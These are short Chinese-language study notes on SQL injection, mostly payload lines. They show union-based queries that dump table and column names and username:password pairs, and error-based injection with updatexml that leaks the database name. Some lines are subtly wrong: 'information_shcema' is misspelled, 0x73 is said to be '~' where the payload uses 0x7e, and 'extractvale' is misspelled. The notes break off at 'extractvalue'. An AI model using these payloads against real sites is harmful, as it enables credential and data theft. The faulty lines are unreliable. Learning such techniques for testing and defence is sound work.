注入类漏洞—>数据变代码
1、如何判断漏洞
2、如何构造代码
方法一:联合查询
group_concat()组连接
查询表名 并爆出所有的表名
select group_concat(table_name) from information_schema.tables where table_schema=‘库名’
查询列名 并爆出所有的列名
select group_concat(column_name) from information_shcema.columns where table_schema=‘库名’ and table_name=‘表名’
爆出username和password 0x3a表示:
select group_concat(username,0x3a,password) from users
方法二:报错注入
0x73是 ~
俩个报错函数:
updatexml() 三个参数
爆数据库:
and updatexml(1,concat(0x7e,(database()),0x7e),1)
extractvale() 俩个参数 目标xml文档 xml路径
爆数据库名:
extractvalue